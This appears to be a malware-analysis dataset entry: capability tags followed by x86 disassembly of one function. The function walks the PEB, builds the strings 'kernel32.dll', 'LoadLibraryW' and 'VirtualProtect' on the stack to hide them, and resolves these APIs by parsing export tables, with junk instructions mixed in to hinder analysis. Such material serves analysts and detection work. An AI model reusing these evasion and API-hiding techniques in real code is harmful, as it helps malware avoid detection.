Function at 0x61516b6c
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add edx, 0x46fe
pop edx
push ecx
jmp 0x61516221
pop ecx
mov dword [ebp - 0x774], 0
mov edx, dword [ebp - 0x324]
mov dword [ebp - 0x1610], edx
cmp dword [ebp - 0x1610], 0
jne 0x61516252
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x514], eax
jmp 0x61516543
mov ecx, dword [ebp - 0x1610]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1614], edx
jne 0x6151627a
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x514], eax
jmp 0x61516543
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1614]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1618], ecx
cmp dword [ebp - 0x1618], 0
jne 0x615162ac
mov edx, dword [ebp - 0x774]
mov dword [ebp - 0x514], edx
jmp 0x61516543
mov eax, dword [ebp - 0x324]
add eax, dword [ebp - 0x1618]
mov dword [ebp - 0x768], eax
jne 0x615162d1
mov ecx, dword [ebp - 0x774]
mov dword [ebp - 0x514], ecx
jmp 0x61516543
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x1990], eax
mov ecx, dword [ebp - 0x768]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x1994], edx
mov eax, dword [ebp - 0x768]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1998], ecx
mov dword [ebp - 0x76c], 0
jmp 0x6151632b
mov edx, dword [ebp - 0x76c]
add edx, 1
mov dword [ebp - 0x76c], edx
mov eax, dword [ebp - 0x768]
mov ecx, dword [ebp - 0x76c]
cmp ecx, dword [eax + 0x18]
jae 0x61516537
mov edx, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x1990]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x770], ecx
mov edx, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x1994]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x1998]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x1d20], eax
mov dword [ebp - 0x198], 0
jmp 0x6151639b
mov ecx, dword [ebp - 0x198]
add ecx, 1
mov dword [ebp - 0x198], ecx
mov edx, dword [ebp - 0x770]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
test eax, eax
je 0x6151644d
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x87c]
test edx, edx
je 0x6151644d
push eax
add eax, 0xb3db
and eax, 0x6505
xor eax, 0x7eb8
or eax, 0xc0b0
pop eax
push ecx
push ebx
add esp, 4
add ecx, 0xca9a
add ecx, 0xe5bf
add ecx, 0xb509
pop ecx
mov eax, dword [ebp - 0x770]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x87c]
cmp ecx, eax
je 0x6151643f
mov ecx, dword [ebp - 0x770]
add ecx, dword [ebp - 0x198]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x198]
movsx ecx, byte [ebp + eax - 0x87c]
cmp edx, ecx
jne 0x61516446
jmp 0x6151638c
jmp 0x6151644d
push ecx
push edx
add esp, 4
xor ecx, 0x11a9b
and ecx, 0x1bb0
jmp 0x61516466
or ecx, 0x26f8
pop ecx
push edi
push ecx
add esp, 4
and edi, 0x5d94
jmp 0x6151647e
pop edi
mov edx, dword [ebp - 0x770]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x87c]
cmp eax, edx
jne 0x615164ac
mov dword [ebp - 0xcbc], 0
jmp 0x6151651b
push edi
call 0x615164bc
add byte [ecx + 0x3d], al
dec ebp
cmp ecx, dword [edx + 0x3b]
cmp byte [ecx], bh
inc esi
add esp, 4
pop edi
push ecx
push edi
add esp, 4
add ecx, 0x2888
add ecx, 0xdec0
pop ecx
push ecx
push eax
add esp, 4
and ecx, 0x4fc5
pop ecx
mov eax, dword [ebp - 0x770]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x87c]
or eax, 0x20
cmp ecx, eax
jge 0x61516511
mov dword [ebp - 0xcbc], 0xffffffff
jmp 0x6151651b
mov dword [ebp - 0xcbc], 1
cmp dword [ebp - 0xcbc], 0
jne 0x61516532
mov ecx, dword [ebp - 0x1d20]
mov dword [ebp - 0x514], ecx
jmp 0x61516543
jmp 0x6151631c
mov edx, dword [ebp - 0x774]
mov dword [ebp - 0x514], edx
mov eax, dword [ebp - 0x514]
mov dword [ebp - 0x7a0], eax
push ecx
push eax
add esp, 4
or ecx, 0xb533
pop ecx
push edx
xor edx, 0x16503
and edx, 0x23ef
pop edx
push ebx
push ecx
add esp, 4
xor ebx, 0x31c5
xor ebx, 0xce99
or ebx, 0xc60e
pop ebx
mov ecx, dword [ebp - 0x3e4]
add ecx, 0xe
mov dword [ebp - 0x19e8], ecx
push edx
add edx, 0x11004
pop edx
push edi
xor edi, 0x16737
pop edi
push edx
add edx, 0x12577
xor edx, 0x15442
xor edx, 0xa420
sub edx, 0xb2ed
pop edx
push edi
or edi, 0x12646
pop edi
cmp dword [ebp - 0x3e4], 0
je 0x615165d4
cmp dword [ebp - 0xac4], 0
jne 0x6151661a
push esi
push ecx
add esp, 4
and esi, 0x35b6
add esi, 0x16bd3
jmp 0x615165ed
or esi, 0x985e
pop esi
push edx
push ecx
add esp, 4
add edx, 0x1128a
or edx, 0x6db7
pop edx
mov edx, dword [ebp - 0x7a0]
mov dword [ebp - 0x199c], edx
push 0
call dword [ebp - 0x199c]
mov dword [ebp - 0x20b4], 0xa
push esi
jmp 0x6151662a
pop esi
push edi
push eax
add esp, 4
add edi, 0x17ab2
call 0x61516646
add byte [ebx], bh
xor eax, 0x46484b43
inc ebx
dec edi
dec ebx
dec esi
add esp, 4
jmp 0x6151664f
and edi, 0x2002
pop edi
mov eax, dword [ebp - 0x3e4]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ed], cl
mov edx, dword [ebp - 0xac4]
sub edx, dword [ebp - 0x3e4]
mov dword [ebp - 0x169c], edx
mov dword [ebp - 0xcec], 0
push ecx
xor ecx, 0x5ad4
xor ecx, 0x361
xor ecx, 0x14ba6
and ecx, 0xd8a5
pop ecx
push edi
push esi
add esp, 4
xor edi, 0x9fc
add edi, 0x12631
and edi, 0x125e0
pop edi
mov byte [ebp - 0x9d8], 0x56
mov byte [ebp - 0x9d7], 0x69
mov byte [ebp - 0x9d6], 0x72
mov byte [ebp - 0x9d5], 0x74
mov byte [ebp - 0x9d4], 0x75
mov byte [ebp - 0x9d3], 0x61
mov byte [ebp - 0x9d2], 0x6c
mov byte [ebp - 0x9d1], 0x50
mov byte [ebp - 0x9d0], 0x72
mov byte [ebp - 0x9cf], 0x6f
mov byte [ebp - 0x9ce], 0x74
mov byte [ebp - 0x9cd], 0x65
mov byte [ebp - 0x9cc], 0x63
mov byte [ebp - 0x9cb], 0x74
mov byte [ebp - 0x9ca], 0
push ebx
push eax
add esp, 4
xor ebx, 0xf668
pop ebx
push eax
call 0x61516739
add byte [ebp + 0x33], cl
inc edi
xor eax, 0x43433840
cmp dword [ebx - 0x7d], ecx
les eax, [ebx + ebp*8]
add esi, dword [edi]
cmp dword [esi - 0x7f], ecx
lock xor dword [edx], eax
add byte [eax], al
xor eax, 0x13dda
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19a0], eax
mov ecx, dword [ebp - 0x19a0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19a4], edx
mov eax, dword [ebp - 0x19a4]
mov dword [ebp - 0x161c], eax
push esi
xor esi, 0xeb93
call 0x6151678b
add byte [edx + edi + 0x33], cl
dec edx
cmp al, byte [esi + eax*2 + 0x34]
xor al, 0x83
les eax, [esi + ebx*2]
push eax
push ebx
add esp, 4
add eax, 0xb883
pop eax
push eax
push esi
add esp, 4
or eax, 0x2dfa
pop eax
cmp dword [ebp - 0x161c], 0
jne 0x615167bf
mov dword [ebp - 0x2f4], 0
jmp 0x61516a66
mov ecx, dword [ebp - 0x161c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc8], eax
push esi
call 0x615167e1
add byte [edx + 0x4e], al
push eax
inc ecx
aaa
cmp byte [edx + esi], dh
dec eax
add esp, 4
pop esi
push ebx
push esi
add esp, 4
jmp 0x615167f0
sub ebx, 0x1a9e
or ebx, 0x1e38
or ebx, 0x10ff2
pop ebx
cmp dword [ebp - 0xcc8], 0
jne 0x6151681b
mov dword [ebp - 0x2f4], 0
jmp 0x61516a66
mov ecx, dword [ebp - 0xcc8]
mov dword [ebp - 0x518], ecx
push ebx
push edx
add esp, 4
or ebx, 0x1f56
jmp 0x61516838
or ebx, 0x1243f
sub ebx, 0x16e93
pop ebx
push edi
xor edi, 0xbf77
sub edi, 0x1778f
xor edi, 0x125f1
pop edi
lea edx, [ebp - 0x1740]
mov dword [ebp - 0xcc4], edx
mov eax, dword [ebp - 0x518]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcc0], ecx
xor edx, edx
mov word [ebp - 0x21c], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edi
push ebx
add esp, 4
or edi, 0xd598
pop edi
push edx
and edx, 0xecc0
or edx, 0x25bb
jmp 0x615168a1
call 0x615168b1
add byte [edx + 0x3f], al
aaa
dec esp
inc eax
inc eax
aaa
inc ebp
cmp bh, byte [0x5a04c483]
mov ecx, dword [ebp - 0xcc0]
mov dx, word [ecx]
mov word [ebp - 0x1042], dx
mov eax, dword [ebp - 0xcc0]
add eax, 2
mov dword [ebp - 0xcc0], eax
mov cx, word [ebp - 0x1042]
mov word [ebp - 0x21c], cx
mov edx, dword [ebp - 0xcc4]
mov ax, word [edx]
mov word [ebp - 0x1044], ax
mov ecx, dword [ebp - 0xcc4]
add ecx, 2
mov dword [ebp - 0xcc4], ecx
mov dx, word [ebp - 0x1044]
mov word [ebp - 0x38], dx
push edx
add edx, 0x8521
pop edx
push edx
push esi
add esp, 4
call 0x61516928
add byte [edx + 0x39], cl
dec esi
aaa
inc edi
inc esp
dec eax
aaa
inc ebp
add esp, 4
or edx, 0x2514
pop edx
push ebx
push edi
add esp, 4
or ebx, 0x1252b
pop ebx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x6151695b
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1624], ecx
jmp 0x615169b5
movzx eax, word [ebp - 0x21c]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x61516883
movzx edx, word [ebp - 0x21c]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x61516883
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x6151699f
mov dword [ebp - 0x1620], 0xffffffff
jmp 0x615169a9
mov dword [ebp - 0x1620], 1
mov eax, dword [ebp - 0x1620]
mov dword [ebp - 0x1624], eax
cmp dword [ebp - 0x1624], 0
jne 0x615169fe
push ecx
or ecx, 0x9ffc
jmp 0x615169cc
jmp 0x615169d1
and ecx, 0x1265b
pop ecx
push esi
push edx
add esp, 4
sub esi, 0xd3a4
xor esi, 0xaf73
add esi, 0x311
pop esi
mov ecx, dword [ebp - 0x518]
mov dword [ebp - 0x2f4], ecx
jmp 0x61516a66
push edx
push eax
add esp, 4
xor edx, 0x9338
call 0x61516a17
add byte [0x4e504e3a], bh
dec edx
xor bh, byte [esi]
add esp, 4
add edx, 0xff36
call 0x61516a2c
add byte [edi], bh
dec esi
cmp eax, 0x834e4339
les eax, [edx + ebx*2]
mov edx, dword [ebp - 0x518]
mov eax, dword [edx]
mov dword [ebp - 0x518], eax
mov ecx, dword [ebp - 0x518]
cmp ecx, dword [ebp - 0xcc8]
je 0x61516a5c
mov edx, dword [ebp - 0x518]
cmp dword [edx + 0x30], 0
jne 0x61516827
mov dword [ebp - 0x2f4], 0
push eax
xor eax, 0x3cb2
sub eax, 0x2352
and eax, 0x1455d
pop eax
push esi
push edx
add esp, 4
add esi, 0x16fee
xor esi, 0xdcbe
and esi, 0x1632b
sub esi, 0xe00f
pop esi
cmp dword [ebp - 0x2f4], 0
jne 0x6151739d
mov eax, 0x6b
mov word [ebp - 0x17a0], ax
mov ecx, 0x65
mov word [ebp - 0x179e], cx
mov edx, 0x72
mov word [ebp - 0x179c], dx
mov eax, 0x6e
mov word [ebp - 0x179a], ax
mov ecx, 0x65
mov word [ebp - 0x1798], cx
mov edx, 0x6c
mov word [ebp - 0x1796], dx
mov eax, 0x33
mov word [ebp - 0x1794], ax
mov ecx, 0x32
mov word [ebp - 0x1792], cx
mov edx, 0x2e
mov word [ebp - 0x1790], dx
mov eax, 0x64
mov word [ebp - 0x178e], ax
mov ecx, 0x6c
mov word [ebp - 0x178c], cx
mov edx, 0x6c
mov word [ebp - 0x178a], dx
xor eax, eax
mov word [ebp - 0x1788], ax
push eax
push ecx
add esp, 4
call 0x61516b51
add byte [ecx + ecx*2 + 0x3c], al
inc esi
inc esi
cmp eax, 0xc4834933
add al, 0x81
enter 0xfffffffffffff763, 0
add byte [eax + 0x50], bl
call 0x61516b6c
add byte [edx], bh
dec esi
cmp byte [edx], dh
inc esi
xor ecx, dword [edx + 0x3c]
cmp byte [ecx], bh
add esp, 4
pop eax
mov byte [ebp - 0x8a8], 0x4c
mov byte [ebp - 0x8a7], 0x6f
mov byte [ebp - 0x8a6], 0x61
mov byte [ebp - 0x8a5], 0x64
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x69
mov byte [ebp - 0x8a2], 0x62
mov byte [ebp - 0x8a1], 0x72
mov byte [ebp - 0x8a0], 0x61
mov byte [ebp - 0x89f], 0x72
mov byte [ebp - 0x89e], 0x79
mov byte [ebp - 0x89d], 0x57
mov byte [ebp - 0x89c], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19a8], ecx
mov edx, dword [ebp - 0x19a8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19ac], eax
mov ecx, dword [ebp - 0x19ac]
mov dword [ebp - 0x1628], ecx
push eax
push ecx
add esp, 4
or eax, 0xc906
xor eax, 0x7c39
or eax, 0x807f
or eax, 0x9be0
pop eax
push edx
push eax
add esp, 4
xor edx, 0x15602
pop edx
push eax
sub eax, 0x1314c
pop eax
cmp dword [ebp - 0x1628], 0
jne 0x61516c3d
mov dword [ebp - 0x778], 0
jmp 0x61516ee4
mov edx, dword [ebp - 0x1628]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd4], ecx
push eax
xor eax, 0x131be
xor eax, 0x9a32
jmp 0x61516c62
pop eax
push esi
push ebx
add esp, 4
xor esi, 0x15240
or esi, 0x10a22
or esi, 0x146bc
xor esi, 0x16140
pop esi
cmp dword [ebp - 0xcd4], 0
jne 0x61516c99
mov dword [ebp - 0x778], 0
jmp 0x61516ee4
mov edx, dword [ebp - 0xcd4]
mov dword [ebp - 0x51c], edx
push ecx
and ecx, 0x167e6
or ecx, 0x15a
xor ecx, 0x7222
pop ecx
push edx
push ebx
add esp, 4
sub edx, 0x177b
add edx, 0x58ff
jmp 0x61516cd0
add edx, 0x8142
pop edx
lea eax, [ebp - 0x17a0]
mov dword [ebp - 0xcd0], eax
mov ecx, dword [ebp - 0x51c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xccc], edx
xor eax, eax
mov word [ebp - 0x220], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edx
push eax
add esp, 4
jmp 0x61516d0e
xor edx, 0xd895
jmp 0x61516d1a
or edx, 0x17101
pop edx
push edi
jmp 0x61516d2a
pop edi
push esi
xor esi, 0xe9f5
pop esi
mov edx, dword [ebp - 0xccc]
mov ax, word [edx]
mov word [ebp - 0x1046], ax
mov ecx, dword [ebp - 0xccc]
add ecx, 2
mov dword [ebp - 0xccc], ecx
mov dx, word [ebp - 0x1046]
mov word [ebp - 0x220], dx
mov eax, dword [ebp - 0xcd0]
mov cx, word [eax]
mov word [ebp - 0x1048], cx
mov edx, dword [ebp - 0xcd0]
add edx, 2
mov dword [ebp - 0xcd0], edx
mov ax, word [ebp - 0x1048]
mov word [ebp - 0x3c], ax
push esi
push ebx
add esp, 4
and esi, 0xa266
pop esi
push esi
push eax
add esp, 4
call 0x61516dab
add byte [ebx], dh
dec ebp
inc ecx
dec edi
inc esi
inc esp
cmp dword [edi], esi
aaa
add esp, 4
jmp 0x61516db5
sub esi, 0xc4de
pop esi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x61516dd9
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1670], edx
jmp 0x61516e33
movzx ecx, word [ebp - 0x220]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x61516d01
movzx eax, word [ebp - 0x220]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x61516d01
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x61516e1d
mov dword [ebp - 0x162c], 0xffffffff
jmp 0x61516e27
mov dword [ebp - 0x162c], 1
mov ecx, dword [ebp - 0x162c]
mov dword [ebp - 0x1670], ecx
cmp dword [ebp - 0x1670], 0
jne 0x61516e7c
push edx
jmp 0x61516e45
call 0x61516e53
add byte [eax + ecx*2 + 0x3a], cl
inc esi
inc ebx
aas
inc ecx
add esp, 4
call 0x61516e64
add byte [esi + 0x38], al
dec esi
xor eax, 0x42323638
add esp, 4
xor edx, 0x8f8
pop edx
mov edx, dword [ebp - 0x51c]
mov dword [ebp - 0x778], edx
jmp 0x61516ee4
push edi
sub edi, 0x1100f
and edi, 0xa2c
sub edi, 0x2983
pop edi
push esi
push ebx
add esp, 4
sub esi, 0x10702
sub esi, 0x10449
add esi, 0x154ac
xor esi, 0x6834
pop esi
mov eax, dword [ebp - 0x51c]
mov ecx, dword [eax]
mov dword [ebp - 0x51c], ecx
mov edx, dword [ebp - 0x51c]
cmp edx, dword [ebp - 0xcd4]
je 0x61516eda
mov eax, dword [ebp - 0x51c]
cmp dword [eax + 0x30], 0
jne 0x61516ca5
mov dword [ebp - 0x778], 0
push eax
push eax
add esp, 4
and eax, 0xd088
and eax, 0x141ff
pop eax
push eax
push esi
add esp, 4
add eax, 0x1138c
jmp 0x61516f09
or eax, 0x1629
or eax, 0xaff1
pop eax
cmp dword [ebp - 0x778], 0
jne 0x61516f60
push edx
push eax
add esp, 4
jmp 0x61516f2d
xor edx, 0xc921
sub edx, 0x122e0
sub edx, 0x8c3b
pop edx
push esi
push esi
add esp, 4
jmp 0x61516f4a
or esi, 0xb419
pop esi
mov dword [ebp - 0xac0], 0
jmp 0x61517a88
push edx
push edx
add esp, 4
xor edx, 0x82bc
or edx, 0x13ca3
and edx, 0xf3b0
sub edx, 0x17154
pop edx
push ebx
xor ebx, 0x3a4b
or ebx, 0x1328e
xor ebx, 0x99df
pop ebx
mov ecx, dword [ebp - 0x778]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3a4], edx
mov dword [ebp - 0x788], 0
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x1674], eax
cmp dword [ebp - 0x1674], 0
jne 0x61516fd1
mov ecx, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], ecx
jmp 0x615172c2
mov edx, dword [ebp - 0x1674]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1678], eax
jne 0x61516ff9
mov ecx, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], ecx
jmp 0x615172c2
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1678]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1680], edx
cmp dword [ebp - 0x1680], 0
jne 0x6151702b
mov eax, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], eax
jmp 0x615172c2
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [ebp - 0x1680]
mov dword [ebp - 0x77c], ecx
jne 0x61517050
mov edx, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], edx
jmp 0x615172c2
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19b0], ecx
mov edx, dword [ebp - 0x77c]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19b4], eax
mov ecx, dword [ebp - 0x77c]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19b8], edx
mov dword [ebp - 0x780], 0
jmp 0x615170aa
mov eax, dword [ebp - 0x780]
add eax, 1
mov dword [ebp - 0x780], eax
mov ecx, dword [ebp - 0x77c]
mov edx, dword [ebp - 0x780]
cmp edx, dword [ecx + 0x18]
jae 0x615172b6
mov eax, dword [ebp - 0x780]
mov ecx, dword [ebp - 0x19b0]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x784], edx
mov eax, dword [ebp - 0x780]
mov ecx, dword [ebp - 0x19b4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19b8]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x19bc], ecx
mov dword [ebp - 0x19c], 0
jmp 0x6151711a
mov edx, dword [ebp - 0x19c]
add edx, 1
mov dword [ebp - 0x19c], edx
mov eax, dword [ebp - 0x784]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x615171cc
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x8a8]
test eax, eax
je 0x615171cc
push edi
add edi, 0x13226
or edi, 0x525f
sub edi, 0x75c1
add edi, 0xc873
pop edi
push esi
call 0x6151716e
add byte [0x354a4f4e], dh
inc esp
add esp, 4
jmp 0x61517178
pop esi
mov ecx, dword [ebp - 0x784]
add ecx, dword [ebp - 0x19c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [ebp + eax - 0x8a8]
cmp edx, ecx
je 0x615171be
mov edx, dword [ebp - 0x784]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x8a8]
cmp eax, edx
jne 0x615171c5
jmp 0x6151710b
jmp 0x615171cc
push ecx
or ecx, 0x9ffa
pop ecx
push edx
push edi
add esp, 4
and edx, 0x15e4
sub edx, 0x169ca
call 0x615171f2
add byte [esi + 0x34], cl
xor eax, dword [ebx + 0x41]
dec ebx
xor eax, 0x5a04c483
push edx
add edx, 0x3ab4
pop edx
mov eax, dword [ebp - 0x784]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x8a8]
cmp ecx, eax
jne 0x6151722b
mov dword [ebp - 0xcd8], 0
jmp 0x6151729a
push edi
push ecx
add esp, 4
xor edi, 0x8db8
pop edi
push esi
jmp 0x6151723f
call 0x6151724b
add byte [ecx + 0x36], cl
inc ecx
dec eax
dec esi
inc esp
add esp, 4
and esi, 0x109cc
jmp 0x6151725c
pop esi
mov ecx, dword [ebp - 0x784]
add ecx, dword [ebp - 0x19c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [ebp + eax - 0x8a8]
or ecx, 0x20
cmp edx, ecx
jge 0x61517290
mov dword [ebp - 0xcd8], 0xffffffff
jmp 0x6151729a
mov dword [ebp - 0xcd8], 1
cmp dword [ebp - 0xcd8], 0
jne 0x615172b1
mov edx, dword [ebp - 0x19bc]
mov dword [ebp - 0x3fc], edx
jmp 0x615172c2
jmp 0x6151709b
mov eax, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], eax
cmp dword [ebp - 0x3fc], 0
je 0x6151739d
push eax
push edx
add esp, 4
or eax, 0x9085
add eax, 0x6ae6
sub eax, 0x11358
and eax, 0xb3a
pop eax
push edx
push edx
add esp, 4
sub edx, 0x10b9c
pop edx
push ecx
and ecx, 0x15831
pop ecx
mov ecx, dword [ebp - 0x3fc]
mov dword [ebp - 0x19c0], ecx
push ecx
and ecx, 0xaf96
jmp 0x6151731a
pop ecx
push esi
or esi, 0x35da
pop esi
push eax
push esi
add esp, 4
jmp 0x6151732e
call 0x6151733b
add byte [eax + 0x35], cl
inc ecx
dec ebx
inc eax
dec esp
xor eax, 0x5804c483
mov edx, dword [ebp - 0x19c0]
mov dword [ebp - 0x19c4], edx
lea eax, [ebp - 0x1740]
push eax
call dword [ebp - 0x19c4]
test eax, eax
jne 0x6151739d
push edx
push edx
add esp, 4
and edx, 0x11cc1
pop edx
push ecx
or ecx, 0x821b
xor ecx, 0xde27
pop ecx
push ecx
push eax
add esp, 4
xor ecx, 0x11318
or ecx, 0x11ba5
and ecx, 0x66b8
pop ecx
mov dword [ebp - 0xac0], 0
jmp 0x61517a88
push edx
jmp 0x615173a6
xor edx, 0xddf6
pop edx
push edi
push ecx
add esp, 4
jmp 0x615173b9
pop edi
push edx
and edx, 0xadfb
xor edx, 0x1213c
jmp 0x615173ce
pop edx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19c8], ecx
mov edx, dword [ebp - 0x19c8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19cc], eax
mov ecx, dword [ebp - 0x19cc]
mov dword [ebp - 0x1684], ecx
push eax
add eax, 0x1245a
or eax, 0x168a0
or eax, 0x118b1
pop eax
push ebx
push eax
add esp, 4
xor ebx, 0xd59c
and ebx, 0x12bb
sub ebx, 0xb3c8
jmp 0x61517428
pop ebx
cmp dword [ebp - 0x1684], 0
jne 0x61517441
mov dword [ebp - 0x2f4], 0
jmp 0x615176e8
mov edx, dword [ebp - 0x1684]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xce4], ecx
push edi
call 0x61517464
add byte [esi + 0x39], cl
aas
inc esp
xor bh, byte [edi]
inc ebp
aas
xor al, 0x4b
add esp, 4
jmp 0x6151746c
sub edi, 0x39bd
pop edi
push eax
push ecx
add esp, 4
and eax, 0xc531
or eax, 0x9f2c
pop eax
cmp dword [ebp - 0xce4], 0
jne 0x6151749d
mov dword [ebp - 0x2f4], 0
jmp 0x615176e8
mov edx, dword [ebp - 0xce4]
mov dword [ebp - 0x520], edx
push ebx
add ebx, 0x1201f
add ebx, 0x2bd9
pop ebx
push esi
jmp 0x615174be
jmp 0x615174c5
call 0x615174d2
add byte [ebx + 0x4f], al
cmp edx, dword [eax + 0x4f]
inc ecx
cmp dword [ebx + 0x3eb04c4], eax
cmp dh, byte ss:[esi]
pop esi
lea eax, [ebp - 0x1740]
mov dword [ebp - 0xce0], eax
mov ecx, dword [ebp - 0x520]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcdc], edx
xor eax, eax
mov word [ebp - 0x224], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push edx
push edi
add esp, 4
xor edx, 0x18611
and edx, 0x8f55
call 0x61517523
add byte [ebx], bh
dec edi
xor eax, 0x3d404436
add esp, 4
call 0x61517533
add byte [edi + 0x4f], al
inc eax
dec esp
push eax
inc ecx
xor al, byte [ebx - 0x74a5fb3c]
xchg ebp, eax
and al, 0xf3
invalid
push ebx
sub ebx, 0x15de0
add ebx, 0x14a90
and ebx, 0x1e1b
or ebx, 0x130e3
pop ebx
push edi
push ebx
add esp, 4
xor edi, 0x5a85
and edi, 0xf625
sub edi, 0xf96e
pop edi
mov ecx, dword [ebp - 0x2f4]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x36c], edx
push ecx
or ecx, 0x117fe
xor ecx, 0x13f35
and ecx, 0x13aa
pop ecx
push ebx
push esi
add esp, 4
add ebx, 0xc084
sub ebx, 0x6256
or ebx, 0x736b
xor ebx, 0xf25d
pop ebx
mov dword [ebp - 0x798], 0
mov eax, dword [ebp - 0x36c]
mov dword [ebp - 0x1690], eax
cmp dword [ebp - 0x1690], 0
jne 0x6151778b
mov ecx, dword [ebp - 0x798]
mov dword [ebp - 0x524], ecx
jmp 0x61517a7c
mov edx, dword [ebp - 0x1690]
mov eax, dword [ebp - 0x36c]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1694], eax
jne 0x615177b3
mov ecx, dword [ebp - 0x798]
mov dword [ebp - 0x524], ecx
jmp 0x61517a7c
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1694]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1698], edx
cmp dword [ebp - 0x1698], 0
jne 0x615177e5
mov eax, dword [ebp - 0x798]
mov dword [ebp - 0x524], eax
jmp 0x61517a7c
mov ecx, dword [ebp - 0x36c]
add ecx, dword [ebp - 0x1698]
mov dword [ebp - 0x78c], ecx
jne 0x6151780a
mov edx, dword [ebp - 0x798]
mov dword [ebp - 0x524], edx
jmp 0x61517a7c
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x36c]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19d0], ecx
